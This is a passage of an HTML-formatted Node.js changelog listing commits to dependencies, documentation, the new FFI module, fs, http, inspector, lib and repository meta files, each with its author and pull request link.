<li>[<a href="https://github.com/nodejs/node/commit/38e7ce58c5"><code>38e7ce58c5</code></a>] - <strong>deps</strong>: update googletest to d72f9c8aea6817cdf1ca0ac10887f328de7f3da2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62593/hovercard">#62593</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5c573ed14"><code>b5c573ed14</code></a>] - <strong>deps</strong>: update simdjson to 4.6.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62592" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62592/hovercard">#62592</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/318e2c7cd3"><code>318e2c7cd3</code></a>] - <strong>deps</strong>: libuv: cherry-pick aabb7651de (Santiago Gimeno) <a href="https://github.com/nodejs/node/pull/62561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62561/hovercard">#62561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6ccbd742a"><code>c6ccbd742a</code></a>] - <strong>deps</strong>: libuv: reapply 3a9a6e3e6b (Andy Pan) <a href="https://github.com/nodejs/node/pull/62561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62561/hovercard">#62561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ad07de7ae"><code>4ad07de7ae</code></a>] - <strong>diagnostics_channel</strong>: add BoundedChannel and scopes (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/61680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61680/hovercard">#61680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44416ea3fd"><code>44416ea3fd</code></a>] - <strong>doc</strong>: fix documentation history missing 25.9.0 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63151/hovercard">#63151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f6dfbf68e"><code>5f6dfbf68e</code></a>] - <strong>doc</strong>: fix changelog for chromium numbering (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63133/hovercard">#63133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30c4b3658c"><code>30c4b3658c</code></a>] - <strong>doc</strong>: fix the TypeScript Execute (tsx) project link (David Thornton) <a href="https://github.com/nodejs/node/pull/63093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63093/hovercard">#63093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca3c3097f1"><code>ca3c3097f1</code></a>] - <strong>doc</strong>: minor structural stream/iter edits (René) <a href="https://github.com/nodejs/node/pull/63089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63089/hovercard">#63089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92324aab6f"><code>92324aab6f</code></a>] - <strong>doc</strong>: remove typo comma from man page (Vas Sudanagunta) <a href="https://github.com/nodejs/node/pull/63080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63080/hovercard">#63080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/712a15da73"><code>712a15da73</code></a>] - <strong>doc</strong>: correct diagnostics_channel built-in channel names (Bryan English) <a href="https://github.com/nodejs/node/pull/62995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62995/hovercard">#62995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c92cb6fe0d"><code>c92cb6fe0d</code></a>] - <strong>doc</strong>: use mjs/cjs blocks for callbackify null reason example (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62884/hovercard">#62884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/020776d4d6"><code>020776d4d6</code></a>] - <strong>doc</strong>: fix typo in test.md (Rich Trott) <a href="https://github.com/nodejs/node/pull/62960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62960/hovercard">#62960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d52f2061e"><code>7d52f2061e</code></a>] - <strong>doc</strong>: correct typo in PR contribution instructions (Mike McCready) <a href="https://github.com/nodejs/node/pull/62738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62738/hovercard">#62738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70e8944676"><code>70e8944676</code></a>] - <strong>doc</strong>: fix duplicate word "of of" in postMessageToThread (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/11c6c29284"><code>11c6c29284</code></a>] - <strong>doc</strong>: fix duplicate word "to to" in util.styleText (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/242adab671"><code>242adab671</code></a>] - <strong>doc</strong>: fix duplicate word "for for" in compile cache (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9f3abd63e"><code>b9f3abd63e</code></a>] - <strong>doc</strong>: fix doubled word typo in stream_iter.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62916" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62916/hovercard">#62916</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a52fd0448"><code>7a52fd0448</code></a>] - <strong>doc</strong>: fix typo in dns.lookup options description (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62882/hovercard">#62882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/acd7e18a8c"><code>acd7e18a8c</code></a>] - <strong>doc</strong>: fix Argon2 parameter bounds (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62868" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62868/hovercard">#62868</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b43ecf40bb"><code>b43ecf40bb</code></a>] - <strong>doc</strong>: trust FFI in the threat model (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62852" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62852/hovercard">#62852</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/981ce96b03"><code>981ce96b03</code></a>] - <strong>doc</strong>: fix typos and inconsistencies in crypto.md and webcrypto.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62828/hovercard">#62828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/acc52ef257"><code>acc52ef257</code></a>] - <strong>doc</strong>: clarify diffieHellman.generateKeys recomputes same key (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62205/hovercard">#62205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae87597c07"><code>ae87597c07</code></a>] - <strong>doc</strong>: remove Ayase-252 and meixg from triagger team (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62841" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62841/hovercard">#62841</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1cd3694a5f"><code>1cd3694a5f</code></a>] - <strong>doc</strong>: clarify dns.lookup() callback signature when all is true (eungi) <a href="https://github.com/nodejs/node/pull/62800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62800/hovercard">#62800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40a4337d65"><code>40a4337d65</code></a>] - <strong>doc</strong>: add experimental modules lifetime policy (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62753" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62753/hovercard">#62753</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46f48222f8"><code>46f48222f8</code></a>] - <strong>doc</strong>: clarify process._debugProcess() in Permission Model (Fahad Khan) <a href="https://github.com/nodejs/node/pull/62537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62537/hovercard">#62537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6eb9917497"><code>6eb9917497</code></a>] - <strong>doc</strong>: fix typo in devcontainer guide (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62687/hovercard">#62687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3826c5ed7e"><code>3826c5ed7e</code></a>] - <strong>doc</strong>: clarify Backport-PR-URL metadata added automatically (Mike McCready) <a href="https://github.com/nodejs/node/pull/62668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62668/hovercard">#62668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5d7e0dbbd8"><code>5d7e0dbbd8</code></a>] - <strong>doc</strong>: update WPT test runner README.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62680/hovercard">#62680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e9d76b2a75"><code>e9d76b2a75</code></a>] - <strong>doc</strong>: fix spelling in release announcement guidance (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62663/hovercard">#62663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ae41cebb0"><code>1ae41cebb0</code></a>] - <strong>doc</strong>: note GCC &gt;= 14 requirement for native riscv64 builds (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62607/hovercard">#62607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b29be6a28"><code>9b29be6a28</code></a>] - <strong>doc</strong>: note non-monotonic clock in crypto.randomUUIDv7 (nabeel378) <a href="https://github.com/nodejs/node/pull/62600" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62600/hovercard">#62600</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ae59553f6"><code>5ae59553f6</code></a>] - <strong>doc</strong>: update bug bounty program (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62590/hovercard">#62590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce3f4c85dd"><code>ce3f4c85dd</code></a>] - <strong>doc</strong>: document TransformStream transformer.cancel option (Tom Pereira) <a href="https://github.com/nodejs/node/pull/62566" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62566/hovercard">#62566</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08a9ba73e4"><code>08a9ba73e4</code></a>] - <strong>doc</strong>: mention test runner retry attemp is zero based (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32f2169ede"><code>32f2169ede</code></a>] - <strong>doc,src,test</strong>: fix dead inspector help URL (semimikoh) <a href="https://github.com/nodejs/node/pull/62745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62745/hovercard">#62745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/870c1cd3f4"><code>870c1cd3f4</code></a>] - <strong>doc,test</strong>: mem protection must be observed in ffi (Bryan English) <a href="https://github.com/nodejs/node/pull/62818" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62818/hovercard">#62818</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d5cf171dc"><code>3d5cf171dc</code></a>] - <strong>esm</strong>: add <code>ERR_REQUIRE_ESM_RACE_CONDITION</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62462" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62462/hovercard">#62462</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2004d8d6db"><code>2004d8d6db</code></a>] - <strong>ffi</strong>: make <code>FFIFunctionInfo</code> a <code>BaseObject</code> subclass (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63071" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63071/hovercard">#63071</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53eb7abeba"><code>53eb7abeba</code></a>] - <strong>ffi</strong>: prevent premature GC of DynamicLibrary (semimikoh) <a href="https://github.com/nodejs/node/pull/63024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63024/hovercard">#63024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58dc92f502"><code>58dc92f502</code></a>] - <strong>ffi</strong>: support Symbol.dispose on DynamicLibrary (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62925/hovercard">#62925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/528f8b2bae"><code>528f8b2bae</code></a>] - <strong>ffi</strong>: add shared-buffer fast path for numeric and pointer signatures (Bryan English) <a href="https://github.com/nodejs/node/pull/62918" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62918/hovercard">#62918</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42ac8b9ae7"><code>42ac8b9ae7</code></a>] - <strong>fs</strong>: add followSymlinks option to glob (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62695" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62695/hovercard">#62695</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/873c2bca70"><code>873c2bca70</code></a>] - <strong>fs</strong>: restore fs patchability in ESM loader (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62835" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62835/hovercard">#62835</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/349c7502c3"><code>349c7502c3</code></a>] - <strong>fs</strong>: validate position argument before length === 0 early return (Edy Silva) <a href="https://github.com/nodejs/node/pull/62674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62674/hovercard">#62674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06defaa2ea"><code>06defaa2ea</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add signal option to fs.stat() (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db66a963bf"><code>db66a963bf</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose frsize field in statfs (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3191d2936a"><code>3191d2936a</code></a>] - <strong>http</strong>: emit 'drain' on OutgoingMessage only after buffers drain (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62936" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62936/hovercard">#62936</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87adb3472b"><code>87adb3472b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden ClientRequest options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0b79633f6"><code>e0b79633f6</code></a>] - <strong>http</strong>: fix leaked error listener on sync HTTP req create + destroy (Tim Perry) <a href="https://github.com/nodejs/node/pull/62872" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62872/hovercard">#62872</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70c5491f53"><code>70c5491f53</code></a>] - <strong>http</strong>: fix no_proxy leading-dot suffix matching (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62333" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62333/hovercard">#62333</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60a585e68a"><code>60a585e68a</code></a>] - <strong>http</strong>: cleanup pipeline queue (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62534" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62534/hovercard">#62534</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9047ec12ce"><code>9047ec12ce</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add req.signal to IncomingMessage (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01eed5901b"><code>01eed5901b</code></a>] - <strong>http2</strong>: expose writable stream state on compat response (T) <a href="https://github.com/nodejs/node/pull/63003" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63003/hovercard">#63003</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19b7adf3ba"><code>19b7adf3ba</code></a>] - <strong>inspector</strong>: fix absolute URLs in network http (bugyaluwang) <a href="https://github.com/nodejs/node/pull/62955" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62955/hovercard">#62955</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d10823fbb"><code>4d10823fbb</code></a>] - <strong>inspector</strong>: coerce key and value to string in webstorage events (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62616" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62616/hovercard">#62616</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3ac66cc5"><code>9a3ac66cc5</code></a>] - <strong>inspector</strong>: return errors when CDP protocol event emission fails (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62162" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62162/hovercard">#62162</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c89501c6e5"><code>c89501c6e5</code></a>] - <strong>inspector</strong>: auto collect webstorage data (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62145" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62145/hovercard">#62145</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef08c5016a"><code>ef08c5016a</code></a>] - <strong>lib</strong>: refactor internal webidl converters (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62979" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62979/hovercard">#62979</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0744c6a99"><code>d0744c6a99</code></a>] - <strong>lib</strong>: add Temporal to frozen intrinsics (René) <a href="https://github.com/nodejs/node/pull/63029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63029/hovercard">#63029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d81cb17b3"><code>6d81cb17b3</code></a>] - <strong>lib</strong>: avoid quadratic shift() in startup snapshot callback (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62914" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62914/hovercard">#62914</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3491f73051"><code>3491f73051</code></a>] - <strong>lib</strong>: fix FLOAT_32 and FLOAT_64 type constants in ffi (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62892" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62892/hovercard">#62892</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4ca303b36"><code>c4ca303b36</code></a>] - <strong>lib</strong>: harden kKeyOps lookup with null prototype (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62877/hovercard">#62877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e612fe070"><code>2e612fe070</code></a>] - <strong>lib</strong>: short-circuit WebIDL BufferSource SAB check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62833/hovercard">#62833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e850ee9c69"><code>e850ee9c69</code></a>] - <strong>lib</strong>: add new methods and error codes (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62762" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62762/hovercard">#62762</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e21b873589"><code>e21b873589</code></a>] - <strong>lib</strong>: use js-only implementation of <code>isDataView()</code> (René) <a href="https://github.com/nodejs/node/pull/62780" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62780/hovercard">#62780</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f454d1719d"><code>f454d1719d</code></a>] - <strong>lib</strong>: fix lint in internal/webstreams/util.js (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62806/hovercard">#62806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbd8ededba"><code>fbd8ededba</code></a>] - <strong>lib</strong>: fix sequence argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/62179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62179/hovercard">#62179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16860e6abd"><code>16860e6abd</code></a>] - <strong>lib</strong>: improve Web Cryptography key validation ordering (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62749" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62749/hovercard">#62749</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba3f3e1753"><code>ba3f3e1753</code></a>] - <strong>lib</strong>: reject SharedArrayBuffer in web APIs per spec (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62632/hovercard">#62632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d065e996bb"><code>d065e996bb</code></a>] - <strong>lib</strong>: defer AbortSignal.any() following (sangwook) <a href="https://github.com/nodejs/node/pull/62367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62367/hovercard">#62367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a711f4b0c"><code>2a711f4b0c</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>lib,src,test,doc</strong>: add node:ffi module (Colin Ihrig) <a href="https://github.com/nodejs/node/pull/62072" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62072/hovercard">#62072</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d578343582"><code>d578343582</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.1 to 4.35.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63074/hovercard">#63074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b4b90d544"><code>1b4b90d544</code></a>] - <strong>meta</strong>: bump Mozilla-Actions/sccache-action from 0.0.9 to 0.0.10 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63073/hovercard">#63073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1477349e47"><code>1477349e47</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 7.0.0 to 7.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63072" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63072/hovercard">#63072</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecb7de271a"><code>ecb7de271a</code></a>] - <strong>meta</strong>: bump cachix/install-nix-action from 31.10.3 to 31.10.5 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62846" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62846/hovercard">#62846</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fb91408312"><code>fb91408312</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 7.0.0 to 7.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62850" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62850/hovercard">#62850</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7eb9a6be68"><code>7eb9a6be68</code></a>] - <strong>meta</strong>: add automation policy (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62871/hovercard">#62871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f053a4cb8"><code>6f053a4cb8</code></a>] - <strong>meta</strong>: update CODEOWNERS for FFI (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62853" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62853/hovercard">#62853</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88fe50a725"><code>88fe50a725</code></a>] - <strong>meta</strong>: move VoltrexKeyva to emeritus (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62895/hovercard">#62895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42e770bdd0"><code>42e770bdd0</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 8.1.0 to 8.1.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62845" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62845/hovercard">#62845</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/952d005233"><code>952d005233</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.16.1 to 2.19.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62844" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62844/hovercard">#62844</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1bd19d9768"><code>1bd19d9768</code></a>] - <strong>meta</strong>: bump actions/github-script from 8.0.0 to 9.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62843" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62843/hovercard">#62843</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/386244a7dd"><code>386244a7dd</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.3.0 to 6.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62842/hovercard">#62842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16b2c41f70"><code>16b2c41f70</code></a>] - <strong>meta</strong>: broaden stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62658" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62658/hovercard">#62658</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41e7a4ba82"><code>41e7a4ba82</code></a>] - <strong>meta</strong>: pass release version to release worker (flakey5) <a href="https://github.com/nodejs/node/pull/62777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62777/hovercard">#62777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/632821db85"><code>632821db85</code></a>] - <strong>meta</strong>: add QUIC to CODEOWNERS (Tim Perry) <a href="https://github.com/nodejs/node/pull/62652" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62652/hovercard">#62652</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a7ad93ed8"><code>4a7ad93ed8</code></a>] - <strong>meta</strong>: move Michael to emeritus (Michael Dawson) <a href="https://github.com/nodejs/node/pull/62536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62536/hovercard">#62536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44d5a33efb"><code>44d5a33efb</code></a>] - <strong>meta</strong>: populate apt list for slim runner in update-openssl workflow (René) <a href="https://github.com/nodejs/node/pull/62628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62628/hovercard">#62628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d874596aa3"><code>d874596aa3</code></a>] - <strong>meta</strong>: bump cachix/install-nix-action from 31.9.1 to 31.10.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62551" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62551/hovercard">#62551</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1631b27e2b"><code>1631b27e2b</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.15.0 to 2.16.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62550/hovercard">#62550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4de376894d"><code>4de376894d</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 8.0.0 to 8.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62549" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62549/hovercard">#62549</a></li>
